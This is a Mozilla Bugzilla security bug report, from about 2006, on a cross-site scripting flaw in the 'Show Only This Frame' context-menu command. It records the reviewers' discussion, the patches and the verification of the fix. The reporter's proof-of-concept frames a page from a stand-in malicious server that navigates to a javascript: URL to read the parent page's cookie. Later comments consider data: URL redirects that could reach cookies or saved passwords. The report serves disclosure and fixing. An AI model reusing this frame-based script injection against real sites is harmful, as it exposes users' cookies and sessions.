Closed Bug 329468 Opened 18 years ago Closed 18 years ago

Show Only This Frame XSS (FF, TB, Suite)

Categories

(Core :: Security, defect)

Product:
Core
Component:
Security
Platform:
x86
Windows XP
Type:
defect
Priority:
Not set
Severity:
major

Tracking

()

Status:
RESOLVED FIXED

People

(Reporter: pvnick, Assigned: martijn.martijn)

References

(
URL
)

Details

(Keywords: fixed1.8.1, verified1.8.0.4, Whiteboard: [sg:moderate] XSS against some sites, with some user interaction)

Attachments

(7 files, 1 obsolete file)

redir.htm
274 bytes, text/html
Details
patch
1.60 KB, patch
dveditz
: superreview+
dveditz
: approval1.8.0.4+
Details | Diff | Splinter Review
xpfe patch
3.14 KB, patch
neil
: review?
jag+mozilla
neil
: superreview?
jag+mozilla
Details | Diff | Splinter Review
alternate xpfe patch
2.70 KB, patch
neil
: review?
jag+mozilla
neil
: superreview?
jag+mozilla
Details | Diff | Splinter Review
1.8 branch and trunk patch
1.57 KB, patch
Details | Diff | Splinter Review
patch that would fixeissue mentioned in comment 29
1.61 KB, patch
Details | Diff | Splinter Review
patch2 that would fix issue mentioned in comment 29
1.51 KB, patch
Details | Diff | Splinter Review 
A site nested within another site's frames can navigate to a javascript: page, and if the user right-clicks in that frame and presses This Frame->Show Only This Frame, it will cause cross site scripting in the context of the parent window.

I've tried this on my internal network, but I have no public webhosting since my domain expired. Here's the PoC code for testing cross-server:

whoops.htm
------------------------
<html>
<body>
<script>
document.cookie="this is a test";
</script>
<iframe src="http://malserver.com/redir.htm"></iframe>
</body>
</html>

redir.htm
------------------------
<html>
<body>
<script>
location.href="javascript:'Right-click here and press \"This Frame->Show Only This Frame\". The following text should change to reflect the parent window:<br><br>Location: '+location.href+'<br>Cookie: '+document.cookie";
</script>
</body>
</html>
I think this bug should be [sg:moderate], since [sg:high] is used for XSS holes that can be exploited reliably against most sites.  The user interaction required isn't strange or obscure, but not everyone will do it.  I bet some webmail sites load untrusted HTTP URLs (or HTML content hosted at a separate hostname) in frames/iframes, but the ones I tested (Gmail, Yahoo, Hotmail) do not.
Flags: blocking1.8.0.3?
Whiteboard: [sg:moderate] XSS against some sites, with some user interaction
(In reply to comment #1)
Can you think of any cross-frame navigation attacks? Cross-host window.open usage is blocked, but maybe there's some other possibility. I'll look into it more when I get home.
Attached file redir.htm — 

    
    

    
  

      
      
      
      

        Attached patch
          
          
        patch (obsolete)
        — 
          — Splinter Review
      

    


  
So something like this, I guess.

        Attachment #214300 -
        Flags: review?(mconnor)

    
    

    
  
Are data: URLs treated correctly?  (e.g. given the privileges of the correct linking page, or given a nonce privilege?)

    
    

    
  

      
      
      
      

        Attached patch
          
          
        patch
        — 
          — Splinter Review
      

    


  
Also prevent here of getting an exception.

        Attachment #214300 -
        Attachment is obsolete: true

        Attachment #214303 -
        Flags: review?(mconnor)

        Attachment #214300 -
        Flags: review?(mconnor)

    
    

    
  
(In reply to comment #7)
> Created an attachment (id=214303) [edit]
> patch
> 
> Also prevent here of getting an exception.
> 

Taking Jesse's comment into consideration, should DISALLOW_SCRIPT in your patch be changed to DISALLOW_SCRIPT_OR_DATA?

    
    

    
  
(In reply to comment #6)
> Are data: URLs treated correctly? 
(In reply to comment #8)
> Taking Jesse's comment into consideration, should DISALLOW_SCRIPT in your patch
> be changed to DISALLOW_SCRIPT_OR_DATA?
I think data url's are treated correctly, since those are not pseudo url's like javascript: url's, so that's why I didn't use it in the patch. I haven't been able to come up with an exploitable testcase, using data url's.

    
    

    
  
Comment on attachment 214303 [details] [diff] [review]
patch

If data: is better-handled due to restrictions elsewhre, this should be sufficient.  Let's double up on reviews since I haven't had enough cycles to keep track of the larger picture.

        Attachment #214303 -
        Flags: superreview?(dveditz)

        Attachment #214303 -
        Flags: review?(mconnor)

        Attachment #214303 -
        Flags: review+
Flags: blocking1.8.0.3? → blocking1.8.0.3+

    
    

    
  
Comment on attachment 214303 [details] [diff] [review]
patch

sr=dveditz

        Attachment #214303 -
        Flags: superreview?(dveditz) → superreview+

    
    

    
  
Looks like SeaMonkey has the same issue in xpfe/communicator/resources/content/nsContextMenu.js

Same code exists in mail/base/content/nsContextMenu.js but I'm not sure it's a practical concern since by default we 1) don't load remote content and 2) don't run javascript. I haven't checked that Tbird even has the menu item that calls this code.
Assignee: nobody → martijn.martijn
Component: General → Security
Flags: review+
Product: Firefox → Core
Summary: Show Only This Frame XSS → Show Only This Frame XSS (FF, TB, Suite)
Version: 1.5.0.x Branch → Trunk

    
    

    
  
I moved this to core, but I still don't get useful seamonkey-blocking flags. Maybe Neil would prefer tracking the SM version separately?

    
    

    
  

      
      
      
      

        Attached patch
          
          
        xpfe patch
        — 
          — Splinter Review
      

    


  
I thought it would be simplest to disallow script or data everywhere.

        Attachment #217272 -
        Flags: superreview?(jag)

        Attachment #217272 -
        Flags: review?(jag)

    
    

    
  


  
Astute readers will have detected a file is missing from the previous patch ;-)

        Attachment #217275 -
        Flags: superreview?(jag)

        Attachment #217275 -
        Flags: review?(jag)

    
    

    
  
> I think data url's are treated correctly, since those are not pseudo url's like
> javascript: url's, so that's why I didn't use it in the patch. I haven't been
> able to come up with an exploitable testcase, using data url's.

In the given testcase data urls are safe because the location is set by a script from malserver.com and will pick up that principal --> no access to whoops.htm's domain.

But what if redir were an HTTP redirect to a data: url instead? If it's not set by script I'm not sure which domain we'd pick up as the principal.


    
    

    
  
Even if data: HTTP redirects work, unlike javascript: they can't get at the content of the original framing page. They could potentially get cookies and get the password manager to auto-fill a saved password if any.

    
  

        Attachment #214303 -
        Flags: approval1.8.0.4?

    
    

    
  
Comment on attachment 214303 [details] [diff] [review]
patch

approved for 1.8.0 branch, a=dveditz for drivers

        Attachment #214303 -
        Flags: approval1.8.0.4? → approval1.8.0.4+

    
    

    
  
Comment on attachment 217275 [details] [diff] [review]
alternate xpfe patch

Does that javascript|data test need to be case insensitive? I think I'd prefer constructing a proper URI and checking what it thinks the scheme is.

    
    

    
  
(In reply to comment #19)
>(From update of attachment 217275 [details] [diff] [review])
>Does that javascript|data test need to be case insensitive?
Probably.

>I think I'd prefer constructing a proper URI and checking what it thinks the scheme is.
We might not actually have a valid URI at this point :-/

    
    

    
  
(In reply to comment #20)
> (In reply to comment #19)
> >I think I'd prefer constructing a proper URI and checking what it thinks the
> >scheme is.
> We might not actually have a valid URI at this point :-/

What do LoadURI and LoadURIWithFlags do with invalid URI? Try to load it and fail, but at least the string shows up in the URL bar?



    
    

    
  
(In reply to comment #21)
>What do LoadURI and LoadURIWithFlags do with invalid URI?
IIRC they currently display an alert "The URL is invalid and cannot be loaded".

    
    

    
  


  
same as "patch" (attachment 214303 [details] [diff] [review]), but tweaked to accomodate the changes introduced in bug 331522.

    
    

    
  
Landed the Firefox browser.js patch on trunk and both 1.8 branches.
mozilla/browser/base/content/browser.js 	1.479.2.43.2.3
mozilla/browser/base/content/browser.js 	1.479.2.128
mozilla/browser/base/content/browser.js 	1.622

    
    

    
  
So then we can safely construct a nsIURI from it, if that fails, or if the URI's scheme is javascript or data we can fall through to the else case.

    
    

    
  
Calling this "fixed1.8.1, fixed1.8.0.4" based on Gavin's checkin. Let's see if I can fool this into adding seamonkey blocking flags too. (Apologies in advance for the bugspam.)
Flags: blocking1.8.0.4+
Keywords: fixed1.8.0.4, 
          
            fixed1.8.1
Product: Core → Mozilla Application Suite
Product: Mozilla Application Suite → Core
Product: Core → Mozilla Application Suite
Flags: blocking-seamonkey1.1a+
Flags: blocking-seamonkey1.0.2+
Flags: blocking-seamonkey1.1a+
Flags: blocking-seamonkey1.0.2+
Product: Mozilla Application Suite → Core
Blocks: 336519

    
    

    
  
mconnor's war on bugzilla flags ensures that I cannot set both 1.8.0.4 and seamonkey flags at the same time, no way to override or force the issue. Opened 336519 to track seamonkey checkins.
No longer blocks: 336519
Status: NEW → RESOLVED
Closed: 18 years ago
Flags: blocking1.9a1+
Flags: blocking1.8.1+
Flags: blocking1.8.0.4+
Flags: blocking1.7.14?
Flags: blocking-aviary1.0.9?
Resolution: --- → FIXED
Blocks: 336519

    
    

    
  
v.fixed on 1.8.0 branch: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.4 with Martijn's testcase, but saw something that I wanted to clarify:

"This Frame->Show Only This Frame" from within the iframe does not bring out the content to the parent window, is that the behavior we expect?  Do we simply block the user's ability to bring iframe contents out into the current window?

I only ask because open frame in new tab or window does work as we expect,  with no signs of xss problems.


Keywords: fixed1.8.0.4 → verified1.8.0.4

    
    

    
  
Yes, "This Frame->Show Only This Frame" should not work with the patch with framed url's that use the javascript: protocol.
It should just work fine for any other type of url.
I guess you could call this a bug, but I don't think there are a lot of websites that use javascript: url's inside for their framed content.

    
    

    
  


  
Well, this fixes the issue mentioned in comment 29 and 30.
It's a real ugly hack, but I guess it wouldn't hurt anything.

    
    

    
  
(In reply to comment #31)
>It's a real ugly hack, but I guess it wouldn't hurt anything.
I seem to recall an "external" load flag that clears the current document.

    
    

    
  
(In reply to comment #32)
> (In reply to comment #31)
> >It's a real ugly hack, but I guess it wouldn't hurt anything.
> I seem to recall an "external" load flag that clears the current document.

You mean this one:
http://lxr.mozilla.org/seamonkey/source/docshell/base/nsIWebNavigation.idl#175
The comment is not very descriptive, but I could try that one.



    
    

    
  


  
Yeah, that works nicely. Maybe this should be considered. I guess it's already to late for 1.8.0.4.

    
    

    
  
shouldn't this only be done if it's checkLoadURI throwing the exception, not something else in that block?

    
    

    
  
Sorry for not responding earlier.
I'm beginning to think, why not always use the LOAD_FLAGS_FROM_EXTERNAL           flag for "show only this frame"?
(the same could be said for bug 329521)
Group: security

          You need to log in
          before you can comment on or make changes to this bug.
        






  

    
  







  

    

      
Attachment

      

      
      
      
      
    

    

      

        

          

            
General

            

              Creator: 



            

            
Created: 

            
Updated: 

            
Size: